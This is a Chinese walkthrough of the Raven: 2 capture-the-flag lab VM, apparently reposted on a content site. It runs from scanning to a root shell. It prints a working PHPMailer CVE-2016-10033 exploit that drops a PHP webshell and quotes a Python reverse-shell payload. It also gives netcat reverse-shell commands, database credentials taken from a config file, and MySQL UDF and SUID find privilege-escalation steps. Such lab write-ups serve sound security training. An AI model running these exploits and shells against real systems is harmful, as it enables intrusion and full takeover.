B2R Raven: 2靶机渗透

B2R Raven: 2靶机渗透

视频参考:ajest :https://www.zhihu.com/zvideo/1547357583714775040?utm_id=0

原文参考:ajesthttps://zhuanlan.zhihu.com/p/270343652

文章目录

    • B2R Raven: 2靶机渗透
      • 1 启动靶机,查看后网卡为mac为00:0C:29:C6:C5:8F
      • 2 显示信息:
      • 3 快速扫描主机全部信息
      • 4 内核信息没有扫描到,使用nmap继续扫描
      • 5 dirb扫描具体的目录,没有价值
      • 6 使用xray扫描,有个敏感目录
      • 7【dirsearch 】扫描敏感目录
        • 8 扫描到一个敏感目录,版本:PHPMailer 5.2.16
      • 9 wpscan扫描,得到用户信息
        • 9.1 得到两个用户
      • 10 漏洞情报
        • 10.1 使用searchsploit 查找漏洞版本
      • 11 渗透过程
        • 根据漏洞详情根据编号,尝试后放弃,文章乱的一批
        • 12 使用`msfconsole`进行漏洞利用
      • 13 使用 python3 ./40974.py
        • 执行成功后,返回shell脚本路径
      • 14 漏洞利用使用蚁剑连接
      • 15 获取反弹
      • 16 MySQL UDF 提权使用
      • 17 反弹shell中连接mysql
      • 18 搜索mysql版本的EXP
      • 19 重新连接mysql
        • 19.1 执行下面的指令
      • 20 SUID 提权

1 启动靶机,查看后网卡为mac为00:0C:29:C6:C5:8F

00:0C:29:C6:C5:8F
-sS: 使用 SYN 扫描(也称为半开放扫描),发送 SYN 包以探测目标主机上的开放端口。
┌──(kali💋kali)-[~/Desktop/frp_0.33.0_linux_amd64]
└─$ sudo nmap -sS 192.168.225.0/24        

2 显示信息:

Nmap scan report for bogon (192.168.225.213)
Host is up (0.00059s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
111/tcp open  rpcbind
MAC Address: 00:0C:29:C6:C5:8F (VMware)

3 快速扫描主机全部信息

nmap -T4 -A -v  192.168.225.213-T4: 使用 T4 扫描速度,代表比默认扫描更快的速度级别。
-A: 执行 OS识别,版本检测、脚本扫描和traceroute。
-v: 输出详细信息,使扫描输出更加详尽。

扫描结果:

22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 2681c1f35e01ef93493d911eae8b3cfc (DSA)
|   2048 315801194da280a6b90d40981c97aa53 (RSA)
|   256 1f773119deb0e16dca77077684d3a9a0 (ECDSA)
|_  256 0e8571a8a2c308699c91c03f8418dfae (ED25519)
80/tcp  open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Raven Security
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          35627/udp6  status
|   100024  1          51031/tcp   status
|   100024  1          59614/tcp6  status
|_  100024  1          60260/udp   status
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

4 内核信息没有扫描到,使用nmap继续扫描

 sudo nmap -Pn -A -p- -sT -sC -T4 10.4.7.151 -oN nmap.A
┌──(kali💋kali)-[~/Desktop/frp_0.33.0_linux_amd64]
└─$ sudo nmap -Pn -A -p- -sT -sC -T4 192.168.225.213 -oN nmap.A                     
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-13 17:29 CST
Nmap scan report for bogon (192.168.225.213)
Host is up (0.0020s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 2681c1f35e01ef93493d911eae8b3cfc (DSA)
|   2048 315801194da280a6b90d40981c97aa53 (RSA)
|   256 1f773119deb0e16dca77077684d3a9a0 (ECDSA)
|_  256 0e8571a8a2c308699c91c03f8418dfae (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Raven Security
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          35627/udp6  status
|   100024  1          51031/tcp   status
|   100024  1          59614/tcp6  status
|_  100024  1          60260/udp   status
51031/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:C6:C5:8F (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

5 dirb扫描具体的目录,没有价值

┌──(root💀kali)-[~]
└─# dirb http://192.168.225.213:111
-----------------
DIRB v2.22    
By The Dark Raver
-----------------START_TIME: Fri Oct 13 17:33:53 2023
URL_BASE: http://192.168.225.213:111/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt-----------------GENERATED WORDS: 4612                                                          ---- Scanning URL: http://192.168.225.213:111/ ----(!) FATAL: Too many errors connecting to host(Possible cause: RECV ERROR)-----------------
END_TIME: Fri Oct 13 17:33:53 2023

6 使用xray扫描,有个敏感目录

http://192.168.225.213/wordpress/wp-admin/install.php

在这里插入图片描述

7【dirsearch 】扫描敏感目录

dirsearch -u http://192.168.225.213/ -i 200,300-399 -e php  
┌──(root💀kali)-[~]
└─# dirsearch -u http://192.168.225.213/ -i 200,300-399 -e php  _|. _ _  _  _  _ _|_    v0.4.2                                                                        (_||| _) (/_(_|| (_| )                                                                                                                                                     
Extensions: php | HTTP method: GET | Threads: 30 | Wordlist size: 8940Output File: /root/.dirsearch/reports/192.168.225.213/-_23-10-13_19-18-49.txtError Log: /root/.dirsearch/logs/errors-23-10-13_19-18-49.logTarget: http://192.168.225.213/[19:18:49] Starting: 
[19:18:51] 200 -   18KB - /.DS_Store                                       
[19:19:23] 200 -    9KB - /contact.php                                      
[19:19:23] 301 -  316B  - /css  ->  http://192.168.225.213/css/             
[19:19:30] 301 -  318B  - /fonts  ->  http://192.168.225.213/fonts/         
[19:19:33] 301 -  316B  - /img  ->  http://192.168.225.213/img/             
[19:19:34] 200 -   16KB - /index.html                                       
[19:19:36] 301 -  315B  - /js  ->  http://192.168.225.213/js/               
[19:19:36] 200 -    4KB - /js/                                              
[19:19:41] 200 -  626B  - /manual/index.html                                
[19:19:41] 301 -  319B  - /manual  ->  http://192.168.225.213/manual/       
[19:20:08] 200 -    5KB - /vendor/                                          
[19:20:10] 200 -    2KB - /wordpress/wp-login.php                           
[19:20:10] 200 -   51KB - /wordpress/                                                 
dirsearch -u http://192.168.225.213/wordpress/ -i 200,300-399 -e php 
┌──(root💀kali)-[~]
└─# dirsearch -u http://192.168.225.213/wordpress/ -i 200,300-399 -e php _|. _ _  _  _  _ _|_    v0.4.2                                                                   (_||| _) (/_(_|| (_| )                                                                               
Extensions: php | HTTP method: GET | Threads: 30 | Wordlist size: 8940Output File: /root/.dirsearch/reports/192.168.225.213/-wordpress-_23-10-13_17-45-04.txtError Log: /root/.dirsearch/logs/errors-23-10-13_17-45-04.logTarget: http://192.168.225.213/wordpress/[17:45:04] Starting: 
[17:45:55] 301 -    0B  - /wordpress/index.php  ->  http://192.168.225.213/wordpress/
[17:45:59] 200 -   19KB - /wordpress/license.txt                            
[17:46:16] 200 -    7KB - /wordpress/readme.html                            
[17:46:35] 301 -  331B  - /wordpress/wp-admin  ->  http://192.168.225.213/wordpress/wp-admin/
[17:46:35] 301 -  333B  - /wordpress/wp-content  ->  http://192.168.225.213/wordpress/wp-content/
[17:46:35] 200 -    0B  - /wordpress/wp-content/                            
[17:46:35] 200 -    0B  - /wordpress/wp-config.php                          
[17:46:36] 200 -   69B  - /wordpress/wp-content/plugins/akismet/akismet.php 
[17:46:36] 200 -    1KB - /wordpress/wp-admin/install.php                   
[17:46:36] 200 -  999B  - /wordpress/wp-content/uploads/
[17:46:36] 200 -  809B  - /wordpress/wp-content/upgrade/
[17:46:36] 200 -    1B  - /wordpress/wp-admin/admin-ajax.php                
[17:46:36] 302 -    0B  - /wordpress/wp-admin/  ->  http://raven.local/wordpress/wp-login.php?redirect_to=http%3A%2F%2F192.168.225.213%2Fwordpress%2Fwp-admin%2F&reauth=1
[17:46:36] 301 -  334B  - /wordpress/wp-includes  ->  http://192.168.225.213/wordpress/wp-includes/
[17:46:36] 200 -    0B  - /wordpress/wp-cron.php                            
[17:46:36] 302 -    0B  - /wordpress/wp-signup.php  ->  http://raven.local/wordpress/wp-login.php?action=register
[17:46:36] 200 -   40KB - /wordpress/wp-includes/                           
[17:46:36] 200 -    2KB - /wordpress/wp-login.php Task Completed      
8 扫描到一个敏感目录,版本:PHPMailer 5.2.16

在这里插入图片描述

9 wpscan扫描,得到用户信息

wpscan --no-update --url http://192.168.225.213/wordpress -e u,vp,vt --plugins-detection mixed
                                                                                                                                                                                                      
┌──(root💀kali)-[~]
└─# wpscan --no-update --url http://192.168.225.213/wordpress -e u,vp,vt --plugins-detection mixed
_________________________________________________________________          _______   _____\ \        / /  __ \ / ____|\ \  /\  / /| |__) | (___   ___  __ _ _ __ ®\ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \\  /\  /  | |     ____) | (__| (_| | | | |\/  \/   |_|    |_____/ \___|\__,_|_| |_|WordPress Security Scanner by the WPScan TeamVersion 3.8.22Sponsored by Automattic - https://automattic.com/@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________[+] URL: http://192.168.225.213/wordpress/ [192.168.225.213]
[+] Started: Fri Oct 13 19:38:43 2023Interesting Finding(s):[+] Headers| Interesting Entry: Server: Apache/2.4.10 (Debian)| Found By: Headers (Passive Detection)| Confidence: 100%[+] XML-RPC seems to be enabled: http://192.168.225.213/wordpress/xmlrpc.php| Found By: Direct Access (Aggressive Detection)| Confidence: 100%| References:|  - http://codex.wordpress.org/XML-RPC_Pingback_API|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/|  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/[+] WordPress readme found: http://192.168.225.213/wordpress/readme.html| Found By: Direct Access (Aggressive Detection)| Confidence: 100%[+] Upload directory has listing enabled: http://192.168.225.213/wordpress/wp-content/uploads/| Found By: Direct Access (Aggressive Detection)| Confidence: 100%[+] The external WP-Cron seems to be enabled: http://192.168.225.213/wordpress/wp-cron.php| Found By: Direct Access (Aggressive Detection)| Confidence: 60%| References:|  - https://www.iplocation.net/defend-wordpress-from-ddos|  - https://github.com/wpscanteam/wpscan/issues/1299[+] WordPress version 4.8.23 identified (Unknown, released on Unknown).| Found By: Emoji Settings (Passive Detection)|  - http://192.168.225.213/wordpress/, Match: '-release.min.js?ver=4.8.23'| Confirmed By: Meta Generator (Passive Detection)|  - http://192.168.225.213/wordpress/, Match: 'WordPress 4.8.23'[i] The main theme could not be detected.[+] Enumerating Vulnerable Plugins (via Passive and Aggressive Methods)Checking Known Locations - Time: 00:00:37 <====================================================================================================================> (6498 / 6498) 100.00% Time: 00:00:37
[+] Checking Plugin Versions (via Passive and Aggressive Methods)[i] No plugins Found.[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)Checking Known Locations - Time: 00:00:02 <======================================================================================================================> (624 / 624) 100.00% Time: 00:00:02
[+] Checking Theme Versions (via Passive and Aggressive Methods)[i] No themes Found.[+] Enumerating Users (via Passive and Aggressive Methods)Brute Forcing Author IDs - Time: 00:00:01 <========================================================================================================================> (10 / 10) 100.00% Time: 00:00:01[i] User(s) Identified:[+] steven| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)| Confirmed By: Login Error Messages (Aggressive Detection)[+] michael| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)| Confirmed By: Login Error Messages (Aggressive Detection)[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register[+] Finished: Fri Oct 13 19:40:24 2023
[+] Requests Done: 7178
[+] Cached Requests: 5
[+] Data Sent: 2.056 MB
[+] Data Received: 1.341 MB
[+] Memory used: 310.848 MB
[+] Elapsed time: 00:01:40
9.1 得到两个用户
steven
michael

10 漏洞情报

公开漏洞情报渠道:

  • searchsploit

  • vulhub

  • 漏洞情报:https://vip.riskivy.com/intellList

    10.1 使用searchsploit 查找漏洞版本

PHPMailer是一个用于发送电子邮件的PHP类库,其广泛应用于PHP程序中。

┌──(root💀kali)-[~]
└─# searchsploit phpmailer    

在这里插入图片描述

查询后,目标系统PHPMailer 5.2.18 存在RCE 漏洞,编号为CVE-2016-10033。

11 渗透过程

根据漏洞详情根据编号,尝试后放弃,文章乱的一批

漏洞情报:https://vip.riskivy.com/intellList? ,查询到此漏洞,发现看不懂

在这里插入图片描述

在这里插入图片描述

12 使用msfconsole进行漏洞利用
┌──(kali💋kali)-[/root]
└─$ sudo msfconsole       [*] Starting persistent handler(s)...
msf6 > search phpmailer
msf6 > searchploit phpmailer
msf6 > searchsploit -m 40974

在这里插入图片描述
在这里插入图片描述

执行后显示具体的脚本路径,修改exploit脚本,
searchsploit m 40974 会将py文件拷贝到/root目录下,执行完有提示

 cd /usr/share/exploitdb/exploits/php/webapps/40974.py

13 使用 python3 ./40974.py


from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lhos.system('clear')
print("\n")
print(" █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
print("██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
print("███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝")
print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗")
print("██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║")
print("╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝")
print("      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")#target = 'http://192.168.225.213'
#backdoor = '/backdoor.php'
target ='http://192.168.225.213'
vuln ="/contact.php"
backdoor = '/shell.php'#payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.0.12\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'payload = '<?php @eval($_REQUEST[777]);phpinfo();?>'fields={'action': 'submit','name': payload,
#        'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/www/backdoor.php server\" @protonmail.com','email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/www/html/shell.php server\" @protonmail.com','message': 'Pwned'}m = MultipartEncoder(fields=fields,boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')headers={'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0','Content-Type': m.content_type}proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target+vuln, data=m.to_string(),headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:print('[+]  ExPLoITeD ' + target)
执行成功后,返回shell脚本路径

在这里插入图片描述

14 漏洞利用使用蚁剑连接

在这里插入图片描述

15 获取反弹

nc -lvvp  8888   # kali的是192.168.225.166
nc -e /bin/sh 192.168.225.166 8888  # 使用蚁剑shell中输入
python -c "import pty;pty.spawn('/bin/bash')"  #kali中输入,优化反弹shell

在这里插入图片描述

16 MySQL UDF 提权使用

"ps aux | grep mysqld" 是一个常用的 Linux 命令行命令组合,用于查找正在运行的与 "mysqld" 关键词相关的 MySQL 服务器进程。具体解释如下:
- "ps" 命令用于查看系统中当前运行的进程。
- "aux"ps 命令的选项,它指定显示所有用户的所有进程。
- "|" 是管道操作符,将前一个命令的输出传递给下一个命令作为输入。
- "grep" 命令用于在文本中搜索指定的关键词,并将包含该关键词的行进行筛选。
- "mysqld" 是 MySQL 服务器的守护进程名称。

在这里插入图片描述

蚁剑连接时没有发现/wordpress/wp-config.php ,使用dirsearch 扫描到目录
使用浏览器访问是空白
在这里插入图片描述
使用find查找此文件find -name "wp-config.php"
在这里插入图片描述
cat 查看配置文件,得到数据库用户名密码,账密:root:R@v3nSecurity
在这里插入图片描述

17 反弹shell中连接mysql

注意:蚁剑的shell中输入连接mysql是没有响应的

mysql -uroot  -pR@v3nSecurity

获取到mysql的版本号5.5.30, 退出mysql输入exit;
在这里插入图片描述

18 搜索mysql版本的EXP

searchsploit mysql udf  

在这里插入图片描述

searchsploit -m 1518
gcc -g -c 1518.c  # 执行这句就可
gcc -g -shared -o 1518.so 1518.o -lc # 这条是软连接将1518.so 文件上传到靶机的/tmp 目录下。gcc -g -c 1518.c  解义
- "gcc" 是 GNU 编译器套件(GCC)中的 C 编译器,用于编译和链接 C 语言程序。
- "-g" 是 gcc 的编译选项之一,表示在编译过程中生成调试信息,以便在调试程序时进行源代码级的调试。
- "-c" 是 gcc 的编译选项之一,表示只执行编译步骤,而不进行链接。这将只生成目标文件,而不是可执行文件。
- "1518.c" 是要编译的 C 语言源代码文件的名称。gcc -g -shared -o 1518.so 1518.o -lc
这条指令是用于将一个名为 "1518.o" 的目标文件与标准 C 库(libc)进行链接,并生成一个名为 "1518.so" 的共享库文件。具体解释如下:
- "gcc" 是 GNU 编译器套件(GCC)中的 C 编译器,用于编译和链接 C 语言程序。
- "-g" 是 gcc 的编译选项之一,表示在编译过程中生成调试信息,以便在调试程序时进行源代码级的调试。
- "-shared" 是 gcc 的选项之一,用于指定生成一个共享库文件。
- "-o 1518.so" 是 gcc 的选项之一,用于指定生成的共享库文件的名称为 "1518.so"。
- "1518.o" 是要进行链接的目标文件的名称。
- "-lc" 是 gcc 的选项之一,用于指定需要链接 libc(标准 C 库)。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

python3 -m http.server 80
wget 192.168.225.166/1518.so  # 进行下载,不能有空格,加空格默认下载到

kali开启服务
在这里插入图片描述
shell连接下载c编译好的文件
在这里插入图片描述

19 重新连接mysql

mysql -uroot -pR@v3nSecurity
在这里插入图片描述

19.1 执行下面的指令
create database testyl;
use testyl;
create table testyl(line blob);
insert into testyl values(load_file('/tmp/1518.so'));
select * from testyl into dumpfile '/usr/lib/mysql/plugin/udf.so';
create function do_system returns integer soname 'udf.so';
select do_system('chmod u+s /usr/bin/find');exit;  # 执行完退出

在这里插入图片描述
此时,/usr/bin/find 就具备了SUID 权限。

20 SUID 提权

exit;退出mysql用户


ls -alh /usr/bin/find #  将会显示 /usr/bin/find 文件的详细信息,包括权限、所有者、大小等。#  -a: 显示所有文件,包括隐藏文件和目录。# -l: 以长格式显示文件的详细信息,包括文件权限、所有者、大小、创建时间等。# -h: 以人类可读的方式显示文件大小,例如使用K、M、G等作为单位。mkdir testyl
find testyl -exec '/bin/sh' \;
接着输入指令: id
# 执行 find testyl -exec '/bin/sh' \; 将会在 testyl 目录下查找所有文件,并依次将每个文件作为参数传递给 /bin/sh 命令。需要注意的是,在 -exec 选项后面的命令必须以分号(;)结尾。

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/106450.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CocosCreator 面试题(十一)Cocos Creator 屏幕适配

Cocos Creator 提供了多种屏幕适配的方式&#xff0c;以确保游戏在不同设备上能够正确显示和布局。 以下是 Cocos Creator 中常用的屏幕适配方式及其说明。 1、 Cocos Creator 项目设置中统一配置设计分辨率和屏幕适配 在同一个项目里的多个 Canvas 的设计分辨率仍然采用同一…

HBuilder创建uniapp默认项目导入uview(胎教)

1&#xff1a;更新HBuilder 建议更新 2&#xff1a;更新插件 我本人在没有更新插件的情况下报错了&#xff0c;找到了**这个大佬**解决问题&#xff0c;所以建议更新插件 先卸载uni-app&#xff08;Vue2&#xff09;编译 再重新安装 uni-app&#xff08;Vue2&#xff09;…

qemu基础篇——VSCode 配置 GDB 调试

文章目录 VSCode 配置 GDB 调试安装 VSCode 插件调试文件创建调试配置配置脚本qemu 启动脚 启动调试报错情况一报错情况二报错情况三 调试界面运行 GDB 命令查看反汇编断点查看内核寄存器查看变量参考链接 VSCode 配置 GDB 调试 qemu-基础篇——arm 裸机调试环境搭建 上一节中…

LuaJit交叉编译移植到ARM Linux

简述 Lua与LuaJit的主要区别在于LuaJIT是基于JIT&#xff08;Just-In-Time&#xff09;技术开发的&#xff0c;可以实现动态编译和执行代码&#xff0c;从而提高了程序的运行效率。而Lua是基于解释器技术开发的&#xff0c;不能像LuaJIT那样进行代码的即时编译和执行。因此&…

利用ChatGPT练习口语

目录 ChatGPT 这两天发布了一个激动人心的新功能&#xff0c;App端&#xff08;包括iOS和Android&#xff09;开始支持语音对话以及图片识别功能。 这两个功能一如既往的优先开放给Plus用户使用&#xff0c;现在将App更新到最新版本&#xff0c;就能体验。 为什么说激动人心&a…

2023年中国汽车智能工厂市场规模不断增大,智能化已成趋势[图]

汽车智能工厂是在数字化工厂的基础上&#xff0c;通过互联网技术与工业技术结合&#xff0c;数据监管设备以及AI等技术的结合&#xff0c;实现汽车整车从原材料及零部件的生产到运输、组装一系列的自动化生产。汽车智能工厂很大程度上降低成本和人为干扰&#xff0c;实现自动化…

19 | 如何搞清楚事务、连接池的关系?正确配置是怎样的

事务的基本原理 在学习 Spring 的事务之前&#xff0c;你首先要了解数据库的事务原理&#xff0c;我们以 MySQL 5.7 为例&#xff0c;讲解一下数据库事务的基础知识。 我们都知道 当 MySQL 使用 InnoDB 数据库引擎的时候&#xff0c;数据库是对事务有支持的。而事务最主要的作…

2018-2019 ACM-ICPC, Asia Nanjing Regional Contest G. Pyramid(组合数学 计数)

题目 t(t<1e6)组样例&#xff0c;每次给定一个n(n<1e9)&#xff0c;统计边长为n的上述三角形的等边三角形个数 其中等边三角形的三个顶点&#xff0c;可以在所有黑色三角形&白色三角形的顶点中任取&#xff0c; 答案对1e97取模 思路来源 申老师 & oeis A0003…

Unity引擎:收费模式和服务升级,为游戏开发带来更多可能性

Unity 引擎的收费模式和配套服务升级已经引起了广泛的关注和讨论。自 2024 年 1 月 1 日起&#xff0c;Unity 将根据游戏的安装量对开发者进行收费。这将会影响到很多游戏开发者和玩家。本文将探讨 Unity 引擎的收费模式和配套服务更新&#xff0c;以及对游戏开发者和玩家的影响…

报道 | 2023-2024年1月国际运筹优化会议汇总

2023年10月、11月、12月召开会议汇总&#xff1a; 2023 International Conference on Optimization and Applications (ICOA) Location: Abu Dhabi, United Arab Emirates Important dates: Conference: October 05-06, 2023 Details: https://lct.ac.ae/en/icoa/ 2023 INF…

python项目之AI动物识别工具的设计与实现(django)

项目介绍&#xff1a; &#x1f495;&#x1f495;作者&#xff1a;落落 &#x1f495;&#x1f495;个人简介&#xff1a;混迹java圈十余年&#xff0c;擅长Java、小程序、Python等。 &#x1f495;&#x1f495;各类成品java毕设 。javaweb&#xff0c;ssm&#xff0c;spring…

Java调用FFmpeg

Java调用FFmpeg 1、FFmepg基础知识1.1 下载 FFmpeg1.2 FFmpeg 工具使用 2、Java使用2.1 FFmpeg源码编译2.2 Java集成FFmpeg2.2.1 JNI2.2.2 Java调用执行 FFmpeg 工具 命令 1、FFmepg基础知识 About FFmpeg ffmpeg(计算机程序) - 百度百科 FFmpeg/FFmpeg - GitHub CSDN&#xf…

POI报表的高级应用

POI报表的高级应用 掌握基于模板打印的POI报表导出理解自定义工具类的执行流程 熟练使用SXSSFWorkbook完成百万数据报表打印理解基于事件驱动的POI报表导入 模板打印 概述 自定义生成Excel报表文件还是有很多不尽如意的地方&#xff0c;特别是针对复杂报表头&#xff0c;单…

解决react样式组合时css module动态样式失效的问题

现象&#xff1a; <button disabled{invalid} className{ "btn btn-primary btn-lg" invalid ? styles.btnDisabled : "" } > 注册 </button> 上面采用字符串拼接的方式&#xff0c;组合class&#xff0c;但是css module的动态样式style…

Bootstrap的导航菜单组件相关知识

目录 01-最基本的导航示例02-设置导航的对齐方式02-1-设置导航在水平方向上的对齐方式 02-2-设置导航在垂直方向上进行布局03-设计标签页导航04-带下拉菜单的标签页导航05-设计胶囊式导航05-1-基本的胶囊式导航05-2-带下拉菜单的胶囊式导航 06-让导航菜单项可以切换(激活导航菜…

发布npm包质量分测试

查询质量分接口 https://registry.npmjs.org/-/v1/search?textcanvas-plus v0.0.1 quality 0.2987 新建文件夹 canvas-plus 执行命令 npm init 生成package.json {"name": "3r/canvas-plus","version": "0.0.1","descript…

NewStarCTF2023week2-Unserialize?

代码审计&#xff1a; 定义了一个eval类&#xff0c;该类下有一个私有变量cmd和公有成员函数destruct()&#xff0c;该函数在对象的所有引用都被删除或类被销毁时会自动调用&#xff1b; 调用该函数则会执行一个正则表达式进行正则匹配&#xff0c;过滤掉了一些常用命令和bas…

周记之学习总结

你在人群中看到的每一个耀眼的女孩&#xff0c;都是踩着刀尖过来的。你如履平地般地舒适坦然&#xff0c;当然不配拥有任何光芒&#xff1b; 10.11-10.12 思来想去还是不舍得&#xff0c;搞了一下这个jwt&#xff0c;看了很多视频和博客&#xff0c;一直没看懂&#xff0c;两…

没有前端如何测试后端跨域问题

一、问题 前段时间对项目中的跨域做了相关的处理&#xff0c;网上有很多跨域的解决方案。前端解决&#xff0c;后端解决&#xff0c;nginx代理解决。我采用的是在后端中使用Cors来解决跨域的问题。但是前端项目还没有搭建起来&#xff0c;并不知道Cors的解决方案是否会生效&am…

Potato靶机

信息搜集 设备发现 扫描端口 综合扫描 开放了80端口的HTTP服务和7120端口的SSH服务 目录扫描 扫描目录 看看这个info.php&#xff0c;发现只有php的版本信息&#xff0c;没有可以利用的注入点 SSH突破 hydra 爆破 考虑到 7120 端口是 ssh 服务&#xff0c;尝试利用 hydra …